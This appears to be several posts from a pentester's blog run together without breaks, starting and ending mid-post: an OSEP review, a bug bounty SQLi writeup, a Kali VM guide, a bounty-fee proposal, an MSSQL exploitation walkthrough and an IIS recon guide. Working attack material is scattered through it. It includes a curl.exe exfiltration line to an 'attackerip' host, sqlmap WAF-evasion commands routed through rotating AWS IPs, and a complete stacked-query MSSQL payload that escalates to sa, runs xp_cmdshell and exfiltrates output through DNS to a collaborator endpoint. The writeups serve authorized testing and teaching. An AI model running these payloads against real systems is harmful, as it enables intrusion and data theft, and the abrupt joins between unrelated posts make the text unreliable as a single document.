Having a nice set of tools is the equivalent of IQ for a carpenter. But if he doesn’t put in the effort, take risks, make mistakes, and so on, he won’t become a good carpenter. On the other hand, someone with only a spoon and grit might still end up creating awesome pieces of woodcraft⁹. 🪑

The same applies to effort in isolation; it’s also not a good KPI. People who tried to build a perpetual motion machine spent a lot of effort, and some of them were pretty smart. It was still a waste of time since it violates the fundamental laws of physics.

So effort and intelligence are necessary but not sufficient conditions for success. Then, we need to focus on the outputs, that is, the objective achievements (what you’ve done that sets you apart). We don’t remember Einstein because he was a smart guy, but because of his specific contributions to science (and for sticking his tongue out in those funny pictures).

When I interview a candidate for a tech role, I put more weight on verifiable stuff you’ve done (conferences, github repos, bug bounties, certs, blogs, etc.) than on years of experience or standard education. I want proof of work and leading indicators that reflect passion and show you can actually solve problems.

fluid vs crystalized intelligence

There are two types of intelligence: fluid 💧 and crystalized 💎.

Fluid intelligence is the raw problem-solving horsepower. It shoots up fast, hits its personal best around age 23, and then starts sliding downhill like my will to live after the third meeting of the day.

Crystallized intelligence, on the other hand, is all the stuff you’ve actually learned and stored. It climbs more slowly, peaks later, around 60–70 years, and then declines at a gentler pace.

Here’s a cool chart made by my mate claude to illustrate both concepts over a lifespan:

bottom line

In my case, that blue curve peaked a decade ago and there’s nothing I can do about it. The orange one keeps climbing for another three decades and that part is almost entirely on me. So the only variable I still control is the boring one: showing up and accumulating stuff. 🧗‍♂️

But something has to turn the blue curve into the orange one, and in my case that mechanism has always been failed projects, and failing is just the build step nobody puts on their linkedin.

Keep grinding! 💪

I wanted to solidify my internal pentesting skillz, since web hacking is more my comfort zone (check my OSWE cert review). So this was a great opportunity to push myself and learn in a challenging environment.

Here I’ll share my personal experience preparing for this exam.

[!NOTE] spoiler There will be no spoilers here. It’s just my personal experience, without anything that isn’t already public.

os-what?

The Offensive Security Experienced Pentester (OSEP) from OffSec is probably the most advanced active directory penetration testing cert, along with the Certified Active Directory Pentesting Expert (CAPE) from HackTheBox¹.

PEN-300: Advanced Penetration Testing (PEN-300) is the course behind the OSEP certification, and it covers a wide range of internal penetration testing skills and techniques, including:

• develop client-side attack techniques using Microsoft Office and other common applications, including building a reliable attack vector
• master antivirus evasion methods and tools
• bypass application whitelisting mechanisms like AppLocker
• implement advanced lateral movement strategies in Windows and Linux environments
• conduct sophisticated Active Directory exploitation and attacks to uncover hidden vulnerabilities
• evade network detection systems, including IDS and IPS
• perform advanced exploitation of Microsoft SQL and Active Directory
• use advanced programming concepts and Win32 APIs for attack development

the course

Overall, the course is pretty well put together. The content is easy to follow and goes in-depth on relevant topics. Some sections aren’t strictly required for the exam, but it’s super helpful to know what’s under the hood.

Fun fact: I managed to escalate a sqli to an rce in a real engagement thanks to studying this cert. So just for that, I guess it was worth it, kek.

stuff I liked

• the network section was accurate and aligned with what I’ve seen in real enterprise setups.
• the demo of why and how the default meterpreter obfuscation gets flagged is 🔥.
• the challenges’ attack paths cover the course material quite organically.
• the adcs section has now been included!
• phishing via ics calendar invites was very interesting and up to date.
• pwning ci/cd pipelines open a ton of possibilities for latmov. Learned a lot here!

stuff I didn’t *love*

• post-exploitation is sometimes too permissive: once you’re local admin, you can do basically anything, like disabling defender and/or firewall rules.
• few opsec refs/considerations, e.g. psexec usage, net user, etc.
• some av bypasses are too naïve, e.g. vanilla process hollowing would get caught by Crowdstrike or any other competent EDR. That said, EDR evasion is a demanding field that requires constant updates, and this course does provide a solid baseline.
• phishing is mostly vba macros and hta: both are a bit outdated (macros are disabled by default now) and easy to detect.

reqs

IMHO, the following skills matter:

• ad hacking: being familiar with the core concepts and common offensive techniques.
• programming background: being fluent with c# and powershell.
• ctf experience: if you don’t have some background pwning boxes, you will struggle.
• windows internals: nothing crazy, but knowing winapi, process and filesystem structure, etc. helps.

prep

I prepped for 1.5 months, and this was my strategy:

1. reviewed external content listed in references.
2. watched a selection of the course videos at 2x speed. Just the most challenging topics.
3. actively read the book: highlighting important stuff and taking notes on useful commands.
4. pwned the first 5 challenges. Thoroughly. Investigating all possible attack paths, e.g. dropper vs loader.
5. re-reviewed my challenge solutions and forced myself to understand *all* the concepts behind the techniques: if you fall down a rabbit hole and treat everything as a black box, you’re asking for trouble.

r4nd0m tips

• you can compile with mono to avoid visual studio. I basically managed to compile everything in kali and didn’t touch the windows lab machine²!
• change the name of the artifacts because they don’t necessarily overwrite!³
• updog is god. You can host files but also exfil like: curl.exe http://attackerip/upload -F "file=@C:\Windows\tasks\20260415044445_BloodHound.zip" -F "path=./".
• migrate your revshell processes for stability.
• get comfortable with network pivoting.
• become best friends with your c2 of choice. I personally reviewed the metasploit unleashed guide⁴.
• read the exam guide and the exam objectives. For instance, ai chatbots, paid tools and automated exploitation are not allowed.
• IMHO, the challenges prepare you enough to face the exam. Although I’ve heard HTB RastaLabs and Offshore are good prep too.
• have a plan z: there are too many variables involved, so if something fails, you need to know different alternatives.
• take good notes before and *during* the exam. The environment is huge and you can get lost/overwhelmed easily.

resources

I came across a ton of resources, but here’s a curated list of the most practical ones.

OSEP-specific resources sorted by subjective usefulness:

• https://www.emmanuelsolis.com/osep.html
• https://github.com/OoStellarnightoO/OSEP_Notes
• https://0x4rt3mis.github.io/posts/OSEP-Cheat-Sheet/
• https://github.com/darkness215/osep-tools/
• https://github.com/beauknowstech/OSEP-Everything

[!WARNING] Be aware that some of these commands and scripts are now flagged, since the osep environment gets updated over time, so don’t be cocky and test everything before trying your luck on the exam.

Related off-topic resources:

• ippsec writeups
• goad pwning series by mayfly277
• tcm ad section of the PEH course⁵.
• orange cyberdefense ad cheatsheet

Not strictly required, but the book “Evading EDR” from No Starch Press is 🔥:

my gig

Here was my arsenal of tools⁶:

• external recon: autorecon
• c2: keep calm and use meterpreter (with custom c# loaders aligned with the book’s content)
• clm: bypass-clm
• obfuscation: InvisibilityCloak and Invoke-Obfuscation
• vba macros: BadAssMacros
• file sharing: updog. It has file upload functionality too!
• ad enum: powerview and adpeas
• hta: Dotnet2JScript loading the js as an external file
• privesc enum: peas-ng suite and powerup. But honestly, I ended up doing everything manually.
• revshell: penelope
• compiler: mono, downloading missing dll dependencies from nuget.org

And my kali setup:

• virtualization: kali on qemu on debian
• reporting: sysreptor.
• note taking: obsidian
• terminal: terminator
• rdp client: remmina
• browser extension: Bye Bye, Google AI: Turn off Google AI Overviews, Discussions and Ads

exam

As you may already know, OffSec advanced exams give you 48h for the technical part and 24h to write the report. I knew it was going to be intense.

I grabbed a monster⁷ and started it at 0100 AM. I promised myself I wouldn’t go to sleep until I got comfortable with the progress.

After 5 hours I had 30 points. I was feeling confident about the next steps, so I took a nap.

I woke up at 0930 AM. Then I made a lot of progress. Not everything is linear, and effort doesn’t always translate into flags. People always stress that if you’re stuck, don’t force it: take a walk. But I think the opposite is also true: if you’re on a roll, don’t stop digging. 🪏

Then I hit a wall after the 6th flag, so I took a walk to lower my cortisol levels. My plan: keep tryharding until day two, and if I still had no luck by then, switch to the second path and grab more flags there.

It was quite frustrating since I had a clear idea of what I wanted to do, but somehow it didn’t work. Finally, I caught it: I had missed a little syntax detail. 🤦‍♂️

So after ~23h I went to sleep with 9 flags in my pocket: I just needed one more. On day two, I woke up at 0800 AM. Then I pulled secret.txt at 1000 AM, which meant I met both independent criteria to pass: >=100 points and the secret.txt.

Finally, I crafted the report with sysreptor and sent it for review that same evening.

timeline

I asked Claude to create this fun timeline of my exam progress:

wh00t wh00t

Two days after the exam I received the beloved email from OffSec. I passed! Yay!

Was it worth the sweat? Absolutely. Most of the content actually transfers to real engagements, which is what I really cared about.

Already deep into OSED prep. Will share that story here too whenever I make it through. Wish me luck! 🤞

Let’s get to it.

sniff, sniff… that smells like a sqli

The endpoint was a coupon listing page with a keyword search parameter. Classic stuff. We started poking at it:

GET /coupons/coupon_list?keyword=HERE' HTTP/2

→ 503 (broken query, the server choked on the unmatched quote)

GET /coupons/coupon_list?keyword=HERE'||' HTTP/2

→ 200 OK (query executes normally, string concatenation closes the quote)

That 503/200 differential is textbook injection behavior. The single quote breaks the SQL syntax, and '||' fixes it by concatenating an empty string. The query runs, the server is happy, and I’m happy too.

To avoid the risk of a duplicate, we submitted the report quickly. It was closed as informational. 🫠

Fair enough. A syntax-level differential alone isn’t proof of exploitable injection. You need to show you can actually interact with the database.

hitting the (fire)wall

So basically we needed to escalate from “this probably breaks SQL” to “dude, we can query your database”. The standard playbook for blind SQLi is:

• boolean-based: inject a condition, observe different responses for true vs. false
• time-based: inject SLEEP(5) or equivalent, measure response times

Both paths were blocked. Ew.

The keyword parameter had zero observable effect on the page output. Same HTML, same content, same everything, regardless of what value you passed. No “welcome back” message, no result count, no subtle DOM change. Nothing to diff. Boolean-based was out¹.

Time-based payloads like SLEEP() or BENCHMARK() were getting caught by the WAF. We tried the usual evasion tricks, inline comments, case alternation, encoding… No luck².

The injection was almost certainly there, but we couldn’t prove it.

the hack: column names as a boolean oracle

After banging our heads for a while, we had an idea: what if we stopped trying to extract data and instead used the database’s own schema as our oracle?

The logic was dead simple: if we inject an AND condition that references a column name, the database itself will tell us whether that column exists:

• invalid column → the SQL engine throws an error → 503
• valid column → the query executes normally → 200

That is:

GET /coupons/coupon_list?keyword=HERE'+AND+testing='1 HTTP/2

→ 503 (testing is not a real column, SQL error)

GET /coupons/coupon_list?keyword=HERE'+AND+usage_limit='1 HTTP/2

→ 200 (usage_limit exists in the table, query runs fine)

That’s it. Just a plain AND column_name='1' that looks completely benign from the WAF’s perspective. The database does the validation for us: if the column exists, the condition is syntactically valid and the query runs. If it doesn’t, the whole thing explodes.

We had our boolean oracle. Let’s escalate it. 🤓

dodging cloudflare with IP rotation

Now we needed to fuzz, baby. We had to throw a wordlist of common column names at this endpoint and see which ones came back 200. Problem: any competent WAF would denylist our IP after a handful of suspicious-looking requests.

This is where the IP Rotate Burp extension by Rhino Security Labs comes in. It spins up AWS API Gateway endpoints across multiple regions and routes your Burp traffic through them. Every request comes from a different AWS IP, which have decent reputation scores and rarely get flagged³.

We loaded up Intruder with a wordlist of common database column names (id, name, email, password, created_at, updated_at, status, you know the drill) and let it rip:

As you can see, existing columns returned 200:

bonus trick

You can combine IP Rotate with other tools by proxying traffic through burp. Here is a practical example using --proxy http://127.0.0.1:8080 in sqlmap:

python sqlmap.py -u http://target.com/coupons/coupon_list\?keyword\=as --batch --level 5 --risk 3 --cookie="$(cat ./cookie.txt)" --random-agent --tamper=between,randomcase,space2comment,charencode --dbms mysql --time-sec 15 --proxy http://127.0.0.1:8080 --dbs

I recommend increasing --time-sec 15 or higher because requests tend to be slower when using this setup⁴.

going the extra mile

The generic wordlist gave us a few hits, but we wanted more. We went through the entire application and built a custom wordlist with column names that were specific to this app’s domain. Coupons, users, transactions, whatever terminology the app used in its frontend, we turned it into candidate column names (column_name, columnname, col_name, etc.).

We ran the fuzz again with the custom wordlist. More hits.

the final veredict

We submitted a new report with a full enumeration of every column name we’d confirmed and the triagers reached out to the dev team, who confirmed the columns were indeed real.

Since this was the company’s most critical asset, it got triaged as critical and we landed the maximum bounty:

I guess the takeway is that sometimes the answer isn’t a fancier payload, but a simpler one.

Don’t try harder, try smarter. 🧠

As you might have guessed, the main thing I virtualize is kali. Qemu with kvm acceleration gives you near-native performance because it hooks directly into the linux kernel’s virtualization extensions (intel vt-x / amd-v) instead of going through a compatibility layer like virtualbox does¹.

You need to tweak a few things, so here is the light version of the process I followed.

step #1: download the kali qemu image

Go to the kali vm downloads site and grab the qemu image. It comes as a .7z archive containing a .qcow2 disk image, which is the native format for qemu.

Extract it:

7z x kali-linux-*-qemu-amd64.7z

You’ll get a .qcow2 file. That’s your virtual disk. No iso, no installer, no 45-minute setup wizard. Just a ready-to-boot image². 🫦

step #2: install gnome boxes

sudo apt update
sudo apt install gnome-boxes qemu-system-x86 -y

Gnome Boxes is the frontend. It’s clean, minimal, and does 90% of what you need. Think of it as the “it just werks” layer on top of qemu/kvm.

step #3: install virt-manager (you’ll need it)

sudo apt install virt-manager

Gnome Boxes is great for day-to-day use, but it hides a lot of knobs. Virt-manager exposes the full configuration: cpu topology, disk bus types, network modes, firmware selection, etc. You’ll want it for the initial setup.

step #4: configure virt-manager

Launch it:

/usr/bin/python3 /usr/bin/virt-manager

Then go to Edit > Preferences > New VM and set Graphics Type to VNC.

This is the key step. Vnc graphics work cleanly with Gnome Boxes out of the gate, no guest agent installation required. You skip the whole spice-vdagent dance that every other guide tells you to do.

step #5: import the image in gnome boxes

Click “Add” in Gnome Boxes. Point it to the .qcow2 file you extracted. It will create a vm from it.

Boot it up. Default creds are kali:kali³.

step #6: set the resolution

Go to kali’s display settings and change the resolution to whatever your monitor supports. With vnc graphics, the resolution list should be available right away.

If it looks weird, reboot the vm. Rebooting fixes like 80% of display issues in virtualization, and that percentage has been stable since roughly 2004, kek.

bottom line

That’s pretty much it. Maybe 10 min if you count the download. Now you’ve got a kali vm running on a native hypervisor with working display scaling and no guest agent fiddling.

Now let’s break some stuff, shall we?

His take is that this is unsustainable, and he’s right. You can literally point an AI agent at a target, tell it to “hAcK tHiS sItE” and it will produce something that looks like a vulnerability report. Chain that with automated submission and zero human oversight, and you’ve got a firehose of slop with the occasional real finding buried somewhere in the pile. 🗑️

I already wrote about the individual researcher side of this problem in how to not be an llm kiddie. But today I want to talk about the platform side. What can HackerOne, Bugcrowd, and the rest actually do about this?

Because right now, their answer is “fight AI with AI”, and, IMHO, that’s not enough.

what h1 is doing

To their credit, HackerOne isn’t ignoring the problem. In July 2025, they launched Hai Triage, an AI-powered system that combines automated classification with human analysts. It filters duplicates, flags out-of-scope submissions, and tries to surface the real stuff faster. By late 2025, 90% of their customers were using Hai in some form.

That’s good. Genuinely. AI-assisted triage is the obvious first step. 🤖

h1’s co-founder Alex Rice has said that they focus on “outcomes, not origins”, meaning they don’t care if you used AI, only whether the report is valid. That’s a fine principle in theory. In practice, it only addresses the back end of the pipeline. Reports still flood in. Triagers (human or AI) still have to process them.

The fundamental incentive structure hasn’t changed: submitting garbage is free, fast, and carries almost no penalty. Getting caught as a slop submitter costs you some reputation points on the platform, and that’s about it¹.

introducing the bug bounty fee

Here’s what I think would actually work: a small, conditional submission fee tied to the false positive rate of the researcher.

The idea isn’t new. Tobias Heldt from XOR floated “Security Report Bonds” in the curl discussion, and Stenberg himself agreed it could be a workable model². Bram Cohen (yep, the BitTorrent guy) wrote a whole post arguing for submission deposits.

The concept keeps popping up because the economics are obvious.

addressing common objections

“wOn’T pEoPlE jUsT sElL tO sHaDy BrOkErS iNsTeAd?”

The concern is that if it costs money to submit through official channels, why wouldn’t someone sell to a third-party broker or, worse, a foreign intelligence agency? Isn’t the whole point of bug bounties to outbid the black market?

Sure, but the fee would be small. If you’ve found something real, something worth $2K in bounty, putting up $5 as collateral is not a meaningful barrier.

So this is not a legit concern. Next.

bUt WhAt AbOuT rEsEaRcHers FrOm LoW-InCoMe CoUnTrIeS?

This is the objection I hear most, and it’s a fair one. Bug bounty has been a genuine path to income for talented people in countries where $500 is a month’s salary. Adding a paywall, even a small one, could disproportionately affect them.

Three ideas to overcome that:

1. no fee for newcommers: the first N reports are free while the platform calculates your FP signal. You get a grace period to establish your track record. The fee only kicks in once you’ve demonstrated a consistent pattern of low-quality submissions.
2. fp rate, not hacker signal: some researchers prioritize low-impact vulns, which drags down their signal. That is fine. Low-impact bugs are legit; if companies pay for them, it is because they see value. The fee should track the FP rate instead of the signal. This lets everyone stick to their own strategy.
3. geographic parity: $5 in the US is not $5 in India. The fee should be sensitive to the country of residence of the researcher. This prevents the cost from being a rounding error for some while being a barrier to entry for others.

Either way, the goal isn’t to gatekeep the industry. It’s to make the spray-and-pray approach economically unviable.

These three specific proposals address that objection. Next.

yOu ArE uLtImAtElY lOoKiNg FoR tHe PlAtFoRm, NoT fOr ThE hAcKeRs

I insist: this would *only* affect those who submit spam, not everyone. If companies and platforms spend more than expected on triage, bounties will drop to cover those costs, or they’ll ultimately close their programs.

The fee is a negative incentive, but it can be combined with positive incentives too, like adding a bonus for whoever sends an excellent-written report. Google VRP already does that.

my modest proposal

To condense my point, here is the specific proposal:

1. application conditions:
   • if your FP rate exceeds X% in your last N reports, you start paying a small fee per submission (5-20€ range).
   • if you have a high overall FP rate but your last N reports are valid, the fee is waived³.
2. fee calculation:
   • the higher the FP rate, the higher the fee.
   • the fee should be sensitive to the researcher’s country.
   • the fee must align with the potential bounty. Locking $20 for a $50 bounty is not reasonable.
3. the fee gets refunded if:
   • the report is accepted as a valid vulnerability.
   • the report is submitted in good faith (e.g., borderline scope, duplicate, or reasonable but ultimately N/A). To keep the money, the triager must objectively justify the FP determination by referencing the Rules of Engagement⁴.

Also, note I’ve focused on a platform-level approach to fight AI slop, but can apply measures to other layers of the workflow, like defining clear scopes and fallbacks (@companies) or using tools like Hai or NoiseGate to double-check (@hunters).

the benefits

IMO, pretty obvious:

1. fewer false positives: when submitting garbage has a cost, even a tiny one, the volume of pure slop drops dramatically. Spam economics 101.
2. funded triage: the retained fees from actual false positives go directly toward funding the triage process. The noise literally pays for its own cleanup.
3. better signal-to-noise for everyone: real researchers get triaged faster because the queue isn’t clogged with critical self-XSS via paste injections and CSRFs on public newsletter signup forms.
4. preserved incentives for quality work: if you’re good at this, your FP rate is low, and you never pay a dime. The system is invisible to competent researchers.
5. reinsertion in mind: if llm kiddies start sending legit reports, they will improve their FP rate. This is calculated based on the last N reports, not overall. This doesn’t condemn someone to The Eternal Fee. Reinsertion is possible.

bottom line

Is this system perfect? No. Did I miss something? I bet I did⁵.

But we need to compare potential solutions to their alternatives, and the current strategy is clearly not the best one.

A symbolic fee won’t kill bug bounty. It might actually save it.

GET /app/search/query.asp?filter=1;EXEC+AS+LOGIN='sa';EXEC+sp_configure+'xp_cmdshell',1;RECONFIGURE;CREATE+TABLE+%23tmp(col+VARCHAR(999));INSERT+%23tmp+EXEC+master..xp_cmdshell+'whoami';DECLARE+@a+VARCHAR(999),@b+VARCHAR(999);SELECT+TOP+1+@a=REPLACE(REPLACE(SUBSTRING(col,1,10),CHAR(92),'-'),CHAR(32),'-')+FROM+%23tmp+WHERE+col+IS+NOT+NULL;SET+@b=CONCAT(CHAR(92),CHAR(92),@a,'.yourcollaboratorendpoint',CHAR(92),'x');EXEC+master..xp_dirtree+@b;DROP+TABLE+%23tmp;EXEC+sp_configure+'xp_cmdshell',0;RECONFIGURE;REVERT;SELECT+modified,client_id,contact+FROM+orders+o+WHERE+1=1+and+1=1+and+1=1+and+1=1 HTTP/2

Ugly? Yep. But it werks. Let’s break it down step by step:

step 1: impersonate the sysadmin

EXEC AS LOGIN = 'sa'

This is the first domino. EXEC AS LOGIN lets you impersonate another SQL Server login, and sa is the built-in sysadmin account. If the current database user has been granted the IMPERSONATE privilege on sa (or if permissions are just a disaster, which they were), this gives you full sysadmin context for everything that follows.

Why does this matter? Because most of the fun stuff (enabling xp_cmdshell, running OS commands) requires sysadmin privileges. Without this step, the rest of the chain falls apart.

Scott Sutherland from NetSPI documented this escalation path extensively, and there’s even a Metasploit module for it (mssql_escalate_execute_as). It’s not exotic. It’s just frequently overlooked during hardening.

step 2: enable xp_cmdshell

EXEC sp_configure 'xp_cmdshell', 1;
RECONFIGURE;

xp_cmdshell is a system stored procedure that lets MSSQL execute operating system commands. It’s disabled by default for a reason¹. Enabling it requires sysadmin (which we just got via impersonation) and a call to sp_configure followed by RECONFIGURE to apply the change at runtime.

One important thing: before overwriting the config, I tested whether xp_cmdshell was already enabled or not. You don’t want to blindly flip settings and leave traces. In this case it was off, so enabling it was necessary.

Normally you’d also need show advanced options set to 1 first. In this environment it was already enabled. If it’s not, you’d prepend:

EXEC sp_configure 'show advanced options', 1;
RECONFIGURE;

step 3: run whoami and store the output

CREATE TABLE #tmp (col VARCHAR(999));
INSERT #tmp EXEC master..xp_cmdshell 'whoami';

Here’s the thing about xp_cmdshell in a stacked query injection: the output doesn’t come back to you in the HTTP response. You’re injecting after the original query, so whatever xp_cmdshell returns just vanishes into the void.

The workaround: create a temp table (#tmp), execute whoami, and dump the output into that table. Now the data lives in the database where we can manipulate it.

#tmp is a session-scoped temporary table, meaning it only exists for the duration of our connection and doesn’t pollute the actual schema. Nice and clean.

step 4: exfiltrate via dns

This is the fun part.

DECLARE @a VARCHAR(999), @b VARCHAR(999);

SELECT TOP 1 @a = REPLACE(REPLACE(SUBSTRING(col, 1, 10), CHAR(92), '-'), CHAR(32), '-')
FROM #tmp
WHERE col IS NOT NULL;

SET @b = CONCAT(CHAR(92), CHAR(92), @a, '.yourcollaboratorendpoint', CHAR(92), 'x');

EXEC master..xp_dirtree @b;

Let me unpack each line:

1. grabbing and sanitizing the output: we take the first 10 characters from our whoami result. CHAR(92) is a backslash and CHAR(32) is a space, both of which break DNS labels, so we replace them with dashes. DNS labels have a maximum length of 63 characters per RFC 1035, and they can’t contain spaces or backslashes, so sanitization is mandatory.

   Why only 10 chars? Because whoami on a windows box returns something like NT SERVICE\MSSQLSERVER or DOMAIN\username. The first 10 chars are enough to confirm execution context without hitting DNS label edge cases. For a full exfil of longer data, you’d chunk it across multiple requests or hex-encode it².

2. building the UNC path: we construct a UNC path like \\sanitized-output.yourcollaboratorendpoint\x. CHAR(92) is \, so we’re building the double-backslash prefix character by character. This avoids any URL encoding headaches in the GET parameter.

3. triggering the DNS lookup: xp_dirtree is an undocumented stored procedure whose original purpose is listing files in a directory. but when you point it at a UNC path, MSSQL tries to resolve the hostname via DNS. this is the classic out-of-band (OOB) exfiltration channel for MSSQL injection. the DNS query lands on your Burp Collaborator (or interactsh, or your own authoritative DNS server), and the exfiltrated data shows up as a subdomain prefix.

step 5: clean up

DROP TABLE #tmp;
EXEC sp_configure 'xp_cmdshell', 0;
RECONFIGURE;
REVERT;

This is the part most people skip, and it’s the part that separates a professional engagement from a freaking mess.

DROP TABLE #tmp removes the temp table (it would die at session end anyway, but let’s be explicit). Then we disable xp_cmdshell again, putting the config back how we found it. Finally, REVERT drops the sa impersonation and returns to the original login context.

Leave things the way you found them. Always.

step 6: the trailing select

SELECT modified, client_id, contact
FROM orders o
WHERE 1=1 AND 1=1 AND 1=1 AND 1=1

This isn’t part of the exploit. This is structural padding.

The original query expected a WHERE clause filter, and our injection sits right in the middle of it. Without a syntactically valid SELECT at the end, the whole thing blows up with a SQL error. The 1=1 AND 1=1 chain is just filler to keep the parser happy³.

I managed to infer the table and column names because the app gave verbose SQL error messages. Those errors were the initial breadcrumb that led to the whole chain, kek.

jackpot

So if everything goes right, you see a DNS hit for something like:

Yay! This confirms the SQL Server service account is singing for us. 💅🏻

the full chain

why this worked

Before we wrap, let’s give a 👏 round of applause 👏 to all the misconfigs that made this possible:

1. preauth SQL injection in a search parameter. No input validation, no parameterized queries.
2. stacked queries supported. MSSQL supports them natively, and the app didn’t strip semicolons.
3. verbose SQL errors returned to the client. Free schema intel.
4. IMPERSONATE privilege on sa granted to the application’s database user. This should never happen in production.
5. DNS egress allowed. The server could resolve external hostnames from well-known OOB domains (burp), which is all xp_dirtree needs.

A friend of mine once told me:

If you ever spot an IIS blue screen, don’t stop there; there must be something.

Yep, he was right. That IIS splash page is not a dead end. Behind that blue window sits one of the most consistently misconfigured web servers on the www, and it’s begging you to look deeper.

[!NOTE] fun fact This post has been added to the official HackTricks Wiki page for IIS!

So let me walk you through how I approach IIS targets during bug bounty:

table of contents

• psst, psst, IIS servers, where are you?
  • shodan
  • google dorking
  • active tech fingerprinting
• ok, I found an IIS server. now what?
  • internal IP disclosure
• pwn time
  • nuclei templates: automate the boring stuff
  • the HTTPAPI 2.0 dead end that isn’t
  • IIS tilde enumeration: the gift that keeps giving
    • using LLMs
    • github dorks to resolve shortnames
    • using BigQuery to resolve shortnames
    • bruteforcing the rest with crunch
  • fuzzing: the IIS-specific wordlist matters
  • web.config: the keys to the kingdom
    • path traversal to web.config
    • bin directory DLL exposure via cookieless sessions
  • reverse proxy path confusion
  • authentication bypass via NTFS hacks
  • file upload tricks
• bypassing WAFs via HPP

psst, psst, IIS servers, where are you?

Here are some techniques I use to find IIS servers.

shodan

Before you even touch a target, go see what Shodan already knows:

ssl:"target.com" http.title:"IIS"
ssl.cert.subject.CN:"target.com" http.title:"IIS"
org:"target" http.title:"IIS"

These sample queries will list IIS boxes tied to the target’s org or SSL certificates. You’ll sometimes find staging servers, forgotten admin panels, and internal tools that nobody realized were internet-facing.

Feel free to replace or combine shodan with other platforms like fofa, censys, netlas, odin, etc. They all index different slices of the internet. 🍕

google dorking

Google can find IIS servers for you before you even fire up a scanner. These dorks are all about locating IIS targets within a scope:

site:target.com intitle:"IIS Windows Server"
site:target.com inurl:aspnet_client
site:target.com ext:aspx | ext:ashx | ext:asmx
site:target.com intext:"Microsoft-IIS" | intext:"X-Powered-By: ASP.NET"
site:target.com inurl:_vti_bin
site:target.com intitle:"Microsoft Internet Information Services"

The aspnet_client folder and _vti_bin (FrontPage extensions) are dead giveaways for IIS; if Google has indexed them, you’ve got a target. The ext:aspx dork catches any indexed ASP.NET pages, which means IIS is underneath.

Also, expand your scope with stacked wildcards to catch nested subdomains that basic enumeration misses:

site:*.target.com intitle:"IIS"
site:*.*.target.com intitle:"IIS"

That second one has surfaced dev/staging boxes for me more than once.

active tech fingerprinting

The easiest way to know you’re staring at IIS is the response headers. Hit it with a raw request:

nc -v target.com 80

Or if it’s TLS:

openssl s_client -connect target.com:443

What you’re looking for something like this in the response headers:

Server: Microsoft-IIS/10.0
X-Powered-By: ASP.NET

But probably you want to do this at scale. Then just keep calm and use httpx (or nuclei):

httpx -l targets.txt -td | grep IIS | tee iis-targets.txt

ok, I found an IIS server. now what?

First off, let’s confirm what we’re dealing with and grab as much information as the server is willing to give away for free.

internal IP disclosure

Here’s a freebie most people miss. Send an HTTP/1.0 request to certain IIS setups (especially Exchange or OWA fronts) and the server will sometimes hand you an internal IP in the Location header:

curl -v --http1.0 http://example.com

You might get back something like:

HTTP/1.1 302 Moved Temporarily
Location: https://192.168.5.237/owa/
Server: Microsoft-IIS/10.0
X-FEServer: NHEXCHANGE2016

That internal IP and that X-FEServer header just told you the internal hostname of the Exchange server. File that away. It’s information disclosure that we could leverage in the following steps.

pwn time

Enough recon by now, let’s get to the juicy parts.

nuclei templates: automate the boring stuff

Once you’ve got your list of IIS targets, blast them with nuclei using relevant tags:

nuclei -l iis-targets.txt \ 
    -tags microsoft,windows,asp,aspx,iis,azure,config,exposure -silent

I like to fire this in the background while I’m doing manual recon.

the HTTPAPI 2.0 dead end that isn’t

You’ll hit a lot of IIS boxes that respond with a generic HTTPAPI 2.0 404 error. Most people see this and think “nothing here.” Wrong.

What this actually means is the server didn’t receive the right domain name in the Host header. The IIS instance is there, it’s running something, but it’s bound to a specific virtual host. You need to figure out which one.

Two approaches:

1. check the SSL certificate. The subject or SAN field often contains the hostname you need. Just hit it in a browser and inspect the cert.

2. if the cert doesn’t help, you brute-force virtual hosts. Tools like ffuf with a Host header wordlist work well here:

   ffuf -u https://TARGET_IP/ -H "Host: FUZZ.target.com" -w vhosts.txt -fs 0
   

   When you land on the right hostname, the server suddenly wakes up and serves you a real application instead of that useless 404.

IIS tilde enumeration: the gift that keeps giving

This is, one of the most underrated techniques. IIS has a legacy behavior inherited from the old DOS 8.3 filename convention. By sending specially crafted requests, you can enumerate the short names of files and directories on the server even if directory listing is disabled.

The tool you want is shortscan:

shortscan https://target.com/ -F -p 1

Note -F -p 1 parameters tell shortscan to fuzz the directories (full urls) and enumerate the shortnames (-p stands for patience).

Another tool you can use is burp’s IIS Tilde Enumeration Scanner.

This will spit out shortname fragments like:

File: WEB~1.CON
File: GLOBAL~1.ASA
File: SITEBA~1.ZIP
Dir:  ADMIN~1

Now here’s the thing: WEB~1.CON is obviously web.config. But what’s SITEBA~1.ZIP? Is it sitebackup.zip? sitebase.zip? sitebatch.zip? If we can guess the full name, we can try to download it.

Let’s explore some options for wordlist generation:

using LLMs

Something like:

Return only a list of words, separated by newlines, and nothing else. Ensure that the words contain only alphanumeric characters.
Make a list of guesses, for what the rest of the word could be from this snippet. Ensure that the snippet is a substring of your guess. 
Make the list as extensive as possible.
Snippet: {shortname}

github dorks to resolve shortnames

GitHub’s code search is basically a free filename database. Millions of repos means millions of real-world filenames you can pattern-match against your shortname fragments. Way more effective than guessing blindly.

The idea: take the first 6 characters from your shortname (everything before ~1) and search GitHub for filenames that start with those characters and end with the right extension.

Using GitHub’s code search UI directly:

# In GitHub's search bar, select "Code" and use path: filters
path:/.ds_st
path:/global*.asa
path:/connec*.config

To pseudo-automate this, check out GSNW (GitHub Short Name Wordlist). You feed it your shortname fragments and it scrapes GitHub code search for matching filenames:

python gsnw.py "siteba" output.txt

There’s also GitHub-IIS-Shortname-Generator which does the same thing and outputs a clean wordlist:

python scanner.py WEBDEV

Found matches:
--------------------------------------------------
- WebDev.md
- WebDeveloper.java
- webdev.txt
- webdevicons.lua
--------------------------------------------------
Total unique matches: 86

Another cool option is shortnameguesser, which takes shortname scanner output and generates targeted wordlists by querying multiple sources to resolve the fragments.

using BigQuery to resolve shortnames

This is where it gets interesting. This technique is inspired by Assetnote’s research on using BigQuery to find hidden files on IIS. The idea is simple: use Google BigQuery’s public GitHub dataset to search the entire GitHub codebase for filenames that match your shortname pattern.

If your shortname scan returned SITEBA~1.ZIP, you run this in BigQuery:

SELECT DISTINCT path
FROM `bigquery-public-data.github_repos.files`
WHERE REGEXP_CONTAINS(path, r'(?i)(\/siteba[a-z0-9]+\.zip|^siteba[a-z0-9]+\.zip)')
LIMIT 1000

You’ll get back real filenames from real projects: sitebackup.zip, sitebase.zip, and so on. Now you have a focused wordlist instead of blindly guessing.

bruteforcing the rest with crunch

When LLMs, GitHub, and BigQuery all come up empty, sometimes you just need to go dumb and brute-force the remaining characters. crunch generates wordlists of every possible combination for a given character length:

